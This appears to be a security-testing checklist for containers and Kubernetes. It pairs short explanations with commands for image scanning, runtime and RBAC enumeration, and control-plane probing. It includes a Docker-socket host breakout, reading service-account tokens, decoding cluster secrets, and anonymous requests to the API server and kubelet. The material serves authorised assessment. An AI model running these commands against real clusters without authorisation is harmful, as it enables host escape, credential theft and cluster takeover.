☰   How to use this guide

Containers and Kubernetes fail in layers: a leaky image (secrets, vulns, root), a dangerous runtime (privileged, host mounts, the Docker socket), a soft orchestrator (over-permissive RBAC, mounted SA tokens, exposed API). The attacker's goal is usually breakout (container → host) then cluster takeover. This guide turns every item into how-to-test. The cloud IAM that backs the cluster is in the Cloud checklist; the app in the container is web/API.

# Image + config scanning (breadth)
trivy image registry/app:tag ; grype registry/app:tag
docker-bench-security ; kube-bench            # CIS benchmarks
# Inside-the-pod / cluster recon (assumed breach)
kube-hunter --pod ; amicontained ; kubectl auth can-i --list

0   Image security

Images ship secrets in layers, run as root, and carry vulnerable packages. Pull, scan, and inspect the layer history.

trivy image --scanners vuln,secret,config registry/app:tag    # vulns + secrets + misconfig
docker history --no-trunc registry/app:tag                     # secrets baked into layers
docker run --rm -it registry/app:tag id                        # running as root (uid 0)?
dive registry/app:tag                                          # explore layers

Image security — full coverage

1   Dockerfile / build

Build-time misconfigurations: ADD from URLs, secrets in build args, latest tags, and no .dockerignore leaking the repo.

Dockerfile / build — full coverage

2   Container runtime

Runtime flags decide blast radius. Privileged containers, added capabilities, host namespace sharing, and the mounted Docker socket are near-instant host compromise.

# What am I running as / with? (from inside the container)
amicontained                       # caps, namespaces, seccomp
capsh --print ; cat /proc/1/status | grep CapEff
# The classic: mounted Docker socket = root on host
ls -la /var/run/docker.sock && docker -H unix:///var/run/docker.sock ps
# Host mounts / privileged
mount | grep -E ' / |/host' ; cat /proc/self/status | grep Seccomp

Container runtime — full coverage

3   Container breakout

Turn a container foothold into host access — via privileged mode, mounts, capabilities (CAP_SYS_ADMIN), the Docker socket, or a runtime CVE.

# Automated breakout enumeration
deepce.sh        # or  CDK (cdk evaluate / cdk run)
# Docker-socket breakout: launch a host-mounting container
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host sh
# Privileged + cgroup release_agent breakout (classic PoC) on vulnerable setups

Container breakout — full coverage

4   Registry security

Registries leak images and secrets when public or weakly authenticated.

Registry security — full coverage

5   Kubernetes recon

From inside a pod (assumed breach) or with cluster access: what can this identity do, and what's exposed?

# What can the current (pod) identity do?
kubectl auth can-i --list
kubectl auth can-i create pods ; kubectl auth can-i get secrets
# The mounted service-account token (default behaviour)
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Automated cluster attack tooling
kube-hunter --pod ; peirates ; kdigger dig all

Kubernetes recon — full coverage

6   Kubernetes RBAC

Over-permissive RBAC is the road to cluster admin: wildcard verbs/resources, the ability to create pods (then mount a privileged pod), read secrets, or escalate via bind/escalate verbs.

# Find dangerous grants
kubectl get clusterrolebindings,rolebindings -A -o wide
kubectl auth can-i '*' '*'                       # cluster-admin?
kubectl auth can-i create pods --all-namespaces  # -> mount privileged pod -> node
# rbac-tool / rakkess for a permission matrix
rbac-tool analysis ; rakkess

RBAC — full coverage

7   Kubernetes secrets

K8s secrets are base64, not encrypted by default; etcd may be unencrypted; and secrets often sit in env vars.

kubectl get secrets -A
kubectl get secret <name> -o jsonpath='{.data.*}' | base64 -d    # decode
# Secrets in pod env / configmaps
kubectl get pods -o yaml | grep -iE 'password|token|key'

Secrets — full coverage

8   Pod security

Pod specs that allow privileged, hostPath, hostPID/Network, or no securityContext recreate the runtime risks at scale.

Pod security — full coverage

9   Network policy

Without NetworkPolicies, pods talk to everything — flat east-west, easy lateral movement.

Network policy — full coverage

10   Control-plane exposure

The API server, kubelet and dashboard are crown-jewel endpoints. Anonymous API access, an open read/write kubelet (10250), or an exposed dashboard are cluster takeover.

# Anonymous API access?
curl -sk https://<api>:6443/api/v1/namespaces/kube-system/secrets
# Kubelet read/write API (10250) — exec into pods if open
curl -sk https://<node>:10250/pods
kube-hunter --remote <api-or-node>

Control-plane exposure — full coverage

11   Supply chain & admission control

What gets to run: unsigned images, no admission control, and CI/CD with cluster credentials.

Supply chain & admission — full coverage

✓   Coverage map & how to run it

Work image → runtime → breakout for containers, then the Kubernetes sections for the orchestrator. Benchmark with CIS, verify the escalation chains by hand.

Core principle: the chain is image → container → node → cluster. A leaky image plus a dangerous runtime flag is host compromise; over-permissive RBAC or a mounted SA token turns one pod into cluster-admin. Benchmark with CIS (kube-bench/docker-bench) for breadth, but verify the breakout and RBAC escalation paths by hand — and tie findings to blast radius. Tick a box only when you've run the test.